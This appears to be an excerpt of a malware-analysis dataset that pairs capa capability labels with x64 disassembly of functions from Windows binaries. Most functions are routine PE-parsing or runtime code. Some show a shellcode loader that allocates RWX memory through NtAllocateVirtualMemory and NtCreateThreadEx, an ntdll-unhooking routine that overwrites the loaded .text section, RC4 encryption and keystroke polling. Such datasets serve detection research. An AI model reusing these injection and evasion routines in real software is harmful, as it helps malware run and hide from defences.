joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800310e0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
test r9d, 0xff000000
je 0x180031271
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
movss xmm3, dword [rsp + 0x70]
xorps xmm0, xmm0
comiss xmm3, xmm0
mov edi, r9d
mov rsi, r8
mov rbp, rdx
mov rbx, rcx
jbe 0x180031150
mov eax, dword [rsp + 0x78]
mov dword [rsp + 0x20], eax
call fcn.1800342f0
mov r8d, dword [rbx + 0x80]
mov r9d, edi
mov rdx, qword [rbx + 0x88]
mov rcx, rbx
call fcn.18002e970
mov dword [rbx + 0x80], 0
jmp 0x18003125d
mov edx, 6
movaps xmmword [rsp + 0x30], xmm6
lea r8d, [rdx - 2]
call fcn.180034840
movzx edx, word [rbx + 0x48]
mov rax, qword [rbx + 0x38]
movss xmm1, dword [rsi]
movss xmm2, dword [rbp + 4]
movss xmm3, dword [rbp]
lea ecx, [rdx + 1]
movss xmm6, dword [rax + 4]
movss xmm5, dword [rax]
movss xmm4, dword [rsi + 4]
mov rax, qword [rbx + 0x58]
mov word [rax], dx
mov rax, qword [rbx + 0x58]
mov word [rax + 2], cx
lea ecx, [rdx + 2]
mov rax, qword [rbx + 0x58]
mov word [rax + 4], cx
mov rax, qword [rbx + 0x58]
mov word [rax + 6], dx
add dx, 3
mov rax, qword [rbx + 0x58]
mov word [rax + 8], cx
mov rax, qword [rbx + 0x58]
mov word [rax + 0xa], dx
movsd xmm0, qword [rbp]
mov rax, qword [rbx + 0x50]
movsd qword [rax], xmm0
mov rax, qword [rbx + 0x50]
movss dword [rax + 8], xmm5
movss dword [rax + 0xc], xmm6
mov rax, qword [rbx + 0x50]
mov dword [rax + 0x10], edi
mov rax, qword [rbx + 0x50]
movss dword [rax + 0x14], xmm1
movss dword [rax + 0x18], xmm2
mov rax, qword [rbx + 0x50]
movss dword [rax + 0x1c], xmm5
movss dword [rax + 0x20], xmm6
mov rax, qword [rbx + 0x50]
mov dword [rax + 0x24], edi
movsd xmm0, qword [rsi]
mov rax, qword [rbx + 0x50]
movsd qword [rax + 0x28], xmm0
mov rax, qword [rbx + 0x50]
movss dword [rax + 0x30], xmm5
movss dword [rax + 0x34], xmm6
mov rax, qword [rbx + 0x50]
mov dword [rax + 0x38], edi
mov rax, qword [rbx + 0x50]
movss dword [rax + 0x3c], xmm3
movss dword [rax + 0x40], xmm4
mov rax, qword [rbx + 0x50]
movss dword [rax + 0x44], xmm5
movss dword [rax + 0x48], xmm6
mov rax, qword [rbx + 0x50]
movaps xmm6, xmmword [rsp + 0x30]
mov dword [rax + 0x4c], edi
add qword [rbx + 0x50], 0x50
add dword [rbx + 0x48], 4
add qword [rbx + 0x58], 0xc
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x18004f520
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov rax, qword [0x180074b88]
xor rax, rsp
mov qword [rsp + 0x48], rax
call fcn.180020b80
mov rcx, qword [0x18007b598]
lea rdx, [rsp + 0x28]
mov rdi, rax
call qword [sym.imp.USER32.dll_GetClientRect]
mov ecx, dword [rsp + 0x30]
sub ecx, dword [rsp + 0x28]
movd xmm1, ecx
mov ecx, dword [rsp + 0x34]
sub ecx, dword [rsp + 0x2c]
cvtdq2ps xmm1, xmm1
movd xmm0, ecx
lea rcx, [rsp + 0x40]
cvtdq2ps xmm0, xmm0
movss dword [rdi + 8], xmm1
movss dword [rdi + 0xc], xmm0
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x40]
xorps xmm1, xmm1
sub rax, qword [0x18007b5a0]
xorps xmm0, xmm0
cvtsi2ss xmm0, qword [0x18007b5a8]
mov ecx, 0x11
cvtsi2ss xmm1, rax
divss xmm1, xmm0
movss dword [rdi + 0x10], xmm1
mov rax, qword [rsp + 0x40]
mov qword [0x18007b5a0], rax
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
mov ecx, 0x10
and al, 1
mov byte [rdi + 0x140], al
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
mov ecx, 0x12
and al, 1
mov byte [rdi + 0x141], al
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, 1
mov byte [rdi + 0x143], 0
mov byte [rdi + 0x142], al
call fcn.180020b80
mov rbx, rax
cmp byte [rax + 0x39b], 0
je 0x18004f64d
cvttss2si ecx, dword [rax + 0x128]
lea rdx, [rsp + 0x38]
mov dword [rsp + 0x38], ecx
cvttss2si ecx, dword [rax + 0x12c]
mov dword [rsp + 0x3c], ecx
mov rcx, qword [0x18007b598]
call qword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [rsp + 0x3c]
mov ecx, dword [rsp + 0x38]
call qword [sym.imp.USER32.dll_SetCursorPos]
mov dword [rbx + 0x128], 0xff7fffff
mov dword [rbx + 0x12c], 0xff7fffff
call qword [sym.imp.USER32.dll_GetForegroundWindow]
test rax, rax
je 0x18004f6cc
mov rdx, qword [0x18007b598]
cmp rax, rdx
je 0x18004f685
mov rcx, rax
call qword [sym.imp.USER32.dll_IsChild]
test eax, eax
je 0x18004f6cc
lea rcx, [rsp + 0x20]
call qword [sym.imp.USER32.dll_GetCursorPos]
test eax, eax
je 0x18004f6cc
mov rcx, qword [0x18007b598]
lea rdx, [rsp + 0x20]
call qword [sym.imp.USER32.dll_ScreenToClient]
test eax, eax
je 0x18004f6cc
movd xmm0, dword [rsp + 0x20]
movd xmm1, dword [rsp + 0x24]
cvtdq2ps xmm0, xmm0
cvtdq2ps xmm1, xmm1
movss dword [rbx + 0x128], xmm0
movss dword [rbx + 0x12c], xmm1
cmp byte [rdi + 0xc0], 0
je 0x18004f6dc
mov eax, 0xffffffff
jmp 0x18004f6e1
call fcn.180020c10
cmp dword [0x180074b44], eax
je 0x18004f6f4
mov dword [0x180074b44], eax
call fcn.18004fa00
call fcn.18004f720
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.18005bc70
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
Function at 0x1800062a0
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x180006153
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x180006153
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x180006153
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x180006153
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x180006153
cmp dword [rcx + 0x84], 0xe
jbe 0x180006153
cmp dword [rcx + 0xf8], 0
je 0x180006153
mov ecx, ebx
call fcn.180006204
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.180005fe0
nop
cmp dword [rbp + 0x20], 0
je 0x1800061a1
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1800061ac
int3
xor r8d, r8d
xor edx, edx
jmp 0x1800060e4
Function at 0x18000d9a4
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x18000d9d4
xor eax, eax
jmp 0x18000da97
mov rbp, rbx
cmp word [rax], si
je 0x18000d9f9
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x18000d9e0
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x18000d9dc
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.18000d8c4
movsxd r14, eax
test eax, eax
jne 0x18000da37
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x18000d9cd
mov rcx, r14
call fcn.18000a04c
mov rdi, rax
test rax, rax
jne 0x18000da50
xor ecx, ecx
call fcn.18000a010
jmp 0x18000da2c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.18000d8c4
test eax, eax
jne 0x18000da81
mov rcx, rdi
call fcn.18000a010
jmp 0x18000da8b
xor ecx, ecx
call fcn.18000a010
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x180014c90
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x180014cb8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x180014cb8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001e40
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140008100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400080e0]
test rbx, rbx
je 0x140001e9c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140001e93
test rsi, rsi
je 0x140001e93
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001e78
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400020b0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400020e8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400020f0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400020c0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400020e8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400020f0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400020d0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400020e8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400020f0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400021f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400057c0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002210
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002218
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002210
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000226d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x140002264
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002210
add rax, 0x28
cmp rax, r9
jne 0x140002250
xor eax, eax
ret

Function at 0x140002270
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400057c0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000228f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002298
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000228f
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x140002330
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400057c0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000234f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002358
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002510
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
mov r8d, 0x2c
mov ecx, 2
lea rdx, str._stack_smashing_detected_:_terminated_n
call sub.api_ms_win_crt_stdio_l1_1_0.dll__write
mov ecx, 0x17
call sub.KERNEL32.dll_IsProcessorFeaturePresent
test eax, eax
je 0x140002540
mov ecx, 2
int 0x29
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

Function at 0x140002930
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x88
mov r13, qword [0x140005890]
mov rax, qword [r13]
mov qword [rsp + 0x78], rax
xor eax, eax
mov rsi, rcx
mov rbx, rdx
lea rcx, str.NTDLL.DLL
call sub.KERNEL32.dll_GetModuleHandleW
lea rdx, str.NtAllocateVirtualMemory
mov r14, rax
mov rcx, rax
call sub.KERNEL32.dll_GetProcAddress
lea rdx, str.NtQueueApcThread
mov rcx, r14
mov rdi, rax
call sub.KERNEL32.dll_GetProcAddress
lea rdx, str.NtCreateThreadEx
mov rcx, r14
mov r12, rax
call sub.KERNEL32.dll_GetProcAddress
lea rdx, str.NtWaitForSingleObject
mov rcx, r14
mov r15, rax
call sub.KERNEL32.dll_GetProcAddress
lea rdx, str.NtClose
mov rcx, r14
mov rbp, rax
call sub.KERNEL32.dll_GetProcAddress
xor r10d, r10d
xor r8d, r8d
or rcx, 0xffffffffffffffff
mov qword [rsp + 0x60], r10
lea rdx, [rsp + 0x60]
mov r14, rax
mov eax, ebx
mov qword [rsp + 0x68], r10
lea r9, [rsp + 0x70]
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
call rdi
test eax, eax
jne 0x140002a8f
mov rdi, qword [rsp + 0x60]
mov rcx, rbx
xor edx, edx
xor r8d, r8d
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x50], rdx
lea rcx, [rsp + 0x68]
xor r9d, r9d
mov qword [rsp + 0x48], rdx
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], rdx
mov edx, 0x1fffff
mov dword [rsp + 0x30], r8d
xor r8d, r8d
mov qword [rsp + 0x28], r9
or r9, 0xffffffffffffffff
mov qword [rsp + 0x20], rax
call r15
test eax, eax
jne 0x140002a8f
xor eax, eax
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
call r12
test eax, eax
jne 0x140002a8f
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140002a87
xor r8d, r8d
mov edx, 1
call rbp
mov rcx, qword [rsp + 0x68]
call r14
mov rax, qword [rsp + 0x78]
sub rax, qword [r13]
je 0x140002aa0
call fcn.140002510
nop
add rsp, 0x88
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140002b00
Capabilities:
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x250
mov rbx, qword [0x140005890]
lea rsi, section..rdata
mov rax, qword [rbx]
mov qword [rsp + 0x248], rax
xor eax, eax
lea rdi, [rsp + 0x28]
mov r9, rcx
mov ecx, 8
rep movsd dword [rdi], dword [rsi]
lea r10, [rsp + 0x148]
mov r11, rdx
lea rbp, [rsp + 0x48]
mov rdx, rax
mov byte [rax + r10], al
inc rax
and edx, 0x1f
mov dl, byte [rsp + rdx + 0x28]
mov byte [rax + rbp - 1], dl
cmp rax, 0x100
jne 0x140002b4b
mov r12, r10
xor esi, esi
xor r13d, r13d
mov edi, 0x100
movzx eax, byte [r12]
movzx edx, byte [rbp + rsi]
inc rsi
add eax, r13d
add eax, edx
cdq
idiv edi
movsxd rcx, edx
mov rdx, r12
inc r12
mov r13, rcx
add rcx, r10
call fcn.140002ac0
cmp rsi, 0x100
jne 0x140002b75
lea rdi, [r9 + r11]
xor ebp, ebp
xor r12d, r12d
cmp rdi, r9
je 0x140002c05
lea eax, [rbp + 1]
cdq
idiv esi
movsxd r13, edx
movzx eax, byte [rsp + r13 + 0x148]
lea rcx, [r10 + r13]
mov rbp, r13
add eax, r12d
cdq
idiv esi
movsxd r14, edx
lea rdx, [r10 + r14]
mov r12, r14
call fcn.140002ac0
mov cl, byte [rsp + r14 + 0x148]
add cl, byte [rsp + r13 + 0x148]
movzx ecx, cl
mov al, byte [rsp + rcx + 0x148]
xor byte [r9], al
inc r9
jmp 0x140002bb0
mov rax, qword [rsp + 0x248]
sub rax, qword [rbx]
je 0x140002c17
call fcn.140002510
mov rax, r11
add rsp, 0x250
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
Function at 0x140002dc0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file via mapping

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xa8
mov rax, qword [0x140005890]
mov rdi, qword [rax]
mov qword [rsp + 0x98], rdi
xor edi, edi
lea rdi, [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, 6
mov qword [rsp + 0x58], rax
xor eax, eax
rep stosd dword [rdi], eax
lea rcx, [0x140005060]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
mov qword [rsp + 0x48], rax
je 0x140002f84
mov rcx, qword [rsp + 0x58]
mov r9d, 0x18
mov rdx, rax
lea r8, [rsp + 0x80]
call sub.KERNEL32.dll_K32GetModuleInformation
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
mov qword [rsp + 0x30], rcx
mov edx, 0x80000000
mov r12, qword [rsp + 0x80]
mov dword [rsp + 0x28], r8d
lea rcx, str.C:WindowsSystem32_ntdll.dll
mov r8d, 1
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
xor r9d, r9d
xor r10d, r10d
xor edx, edx
mov qword [rsp + 0x28], r9
mov r8d, 0x1000002
xor r9d, r9d
mov rcx, rax
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x20], r10d
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
test rax, rax
mov qword [rsp + 0x50], rax
je 0x140002f84
xor edx, edx
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rdx
mov rcx, rax
mov edx, 4
xor r13d, r13d
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
movsxd rbp, dword [r12 + 0x3c]
mov r14, rax
add rbp, r12
lea r15, [rbp + 0x18]
cmp r13w, word [rbp + 6]
jae 0x140002f5d
movzx r10d, word [rbp + 0x14]
lea rdx, str..text
movzx eax, r13w
imul rax, rax, 0x28
add r10, r15
lea rbx, [r10 + rax]
mov rcx, rbx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x140002f55
mov ecx, dword [rbx + 0xc]
lea r9, [rsp + 0x7c]
xor eax, eax
mov r8d, 0x40
mov edx, dword [rbx + 8]
mov qword [rsp + 0x68], r9
mov dword [rsp + 0x7c], eax
add rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, dword [rbx + 0xc]
mov ecx, dword [rbx + 8]
mov r9, qword [rsp + 0x68]
lea rax, [r12 + rsi]
add rsi, r14
mov rdi, rax
rep movsb byte [rdi], byte [rsi]
mov ecx, dword [rbx + 0xc]
mov edx, dword [rbx + 8]
mov r8d, dword [rsp + 0x7c]
add rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
inc r13d
jmp 0x140002ed7
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call rsi
mov rcx, qword [rsp + 0x60]
call rsi
mov rcx, qword [rsp + 0x50]
call rsi
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, qword [0x140005890]
mov rdi, qword [rsp + 0x98]
sub rdi, qword [rax]
je 0x140002f9e
call fcn.140002510
nop
add rsp, 0xa8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140005310
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rax, rdx
mov rsi, qword [rsp + 0x90]
mov rdi, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x80]
mov ebx, ecx
shr ebx, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov r15, rax
movzx r14d, byte [rax + 1]
add rax, 2
lea r10, [r11 + r14]
cmp byte [r15], bl
jne 0x1400053a0
cmp r10, r11
jb 0x140005416
cmp r10, rdx
ja 0x14000542a
add r11, r9
xor r15d, r15d
nop word cs:[rax + rax]
cmp r14, r15
je 0x1400053a2
lea r12, [r15 + 1]
cmp byte [r11 + r15], cl
mov r15, r12
jne 0x140005380
jmp 0x140005404
ja 0x1400053aa
mov r11, r10
cmp rax, r8
jne 0x140005344
add rsi, rdi
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r8, [rdi + 1]
movzx edx, byte [rdi]
test dl, dl
js 0x1400053e0
mov rdi, r8
sub ecx, edx
jns 0x1400053fb
jmp 0x140005406
cmp r8, rsi
je 0x14000543b
movzx r8d, byte [rdi + 1]
add rdi, 2
and edx, 0x7f
shl edx, 8
or edx, r8d
sub ecx, edx
js 0x140005406
xor al, 1
cmp rdi, rsi
jne 0x1400053c0
jmp 0x140005406
xor eax, eax
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.14002e8c0
ud2
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.14002e600
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_f8582b198e80a9d5d5341ce9145ad2f51c42742flibrary_alloc_srccollections_btree_navigate.rs
lea r8, str.librarycore_srcunicodeprintable.rs
mov edx, 0x2b
call fcn.14002e690
ud2
Function at 0x14000ba40
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x48
mov rsi, rcx
mov r9, qword [rcx]
test r9, r9
je 0x14000ba9b
mov r10, qword [rsi + 8]
mov rcx, qword [rsi + 0x10]
cmp rcx, r10
jae 0x14000ba9b
movzx eax, byte [r9 + rcx]
cmp eax, 0x49
je 0x14000bab6
cmp eax, 0x42
jne 0x14000ba9b
lea r11, [rcx + 1]
mov qword [rsi + 0x10], r11
cmp r11, r10
jae 0x14000bb66
cmp byte [r9 + r11], 0x5f
jne 0x14000bb66
lea rax, [rcx + 2]
mov qword [rsi + 0x10], rax
xor eax, eax
jmp 0x14000bbce
mov rcx, rsi
xor edx, edx
call fcn.140007070
mov edi, eax
add dil, dil
mov eax, edi
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r14
ret
inc rcx
mov qword [rsi + 0x10], rcx
mov rcx, rsi
xor edx, edx
call fcn.140007070
test al, al
jne 0x14000bc61
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14000baf2
lea rdx, [0x140031bb3]
mov r8d, 1
call fcn.140002d30
test al, al
jne 0x14000bc61
mov rax, qword [rsi]
mov dil, 1
test rax, rax
je 0x14000baaa
xor r14d, r14d
lea rbx, [0x140031f48]
nop word [rax + rax]
mov rcx, qword [rsi + 0x10]
cmp rcx, qword [rsi + 8]
jae 0x14000bb24
cmp byte [rax + rcx], 0x45
je 0x14000bc83
sub r14, 1
jb 0x14000bb49
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14000bb49
mov r8d, 2
mov rdx, rbx
call fcn.140002d30
test al, al
jne 0x14000bc61
mov rcx, rsi
call fcn.140008970
test al, al
jne 0x14000bc61
mov rax, qword [rsi]
test rax, rax
jne 0x14000bb10
jmp 0x14000baaa
xor eax, eax
mov edi, 0x3e
nop dword [rax]
mov r8b, 1
cmp r11, r10
jae 0x14000bc28
movzx edx, byte [r9 + r11]
cmp dl, 0x5f
je 0x14000bbc2
lea ebx, [rdx - 0x30]
cmp bl, 0xa
jb 0x14000bbac
lea ebx, [rdx - 0x61]
cmp bl, 0x1a
jae 0x14000bb9b
add dl, 0xa9
jmp 0x14000bbaa
lea ebx, [rdx - 0x41]
cmp bl, 0x1a
jae 0x14000bc28
add dl, 0xe3
mov ebx, edx
inc r11
mov qword [rsi + 0x10], r11
mul rdi
jo 0x14000bc28
movzx edx, bl
add rax, rdx
jae 0x14000bb70
jmp 0x14000bc28
inc r11
mov qword [rsi + 0x10], r11
inc rax
je 0x14000bc28
cmp rax, rcx
jae 0x14000bc25
mov ecx, dword [rsi + 0x18]
inc ecx
cmp ecx, 0x1f4
ja 0x14000bc7b
cmp qword [rsi + 0x20], 0
je 0x14000bc74
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
mov qword [rsi + 0x10], rax
mov dword [rsi + 0x18], ecx
mov rcx, rsi
call fcn.14000ba40
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
movups xmmword [rsi], xmm0
movups xmmword [rsi + 0x10], xmm1
jmp 0x14000baac
mov r8b, 1
xor edi, edi
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14000bc69
lea rax, str.invalid_syntaxrecursion_limit_reached
lea rdx, [0x140031f08]
test r8b, r8b
cmovne rdx, rax
xor r8b, 1
movzx eax, r8b
lea r8, [rax + rax*8]
or r8, 0x10
call fcn.140002d30
test al, al
je 0x14000bc69
mov dil, 2
jmp 0x14000baaa
mov qword [rsi], 0
mov byte [rsi + 8], dil
xor edi, edi
jmp 0x14000baaa
mov dil, 1
xor r8d, r8d
jmp 0x14000bc2a
inc rcx
mov qword [rsi + 0x10], rcx
jmp 0x14000baaa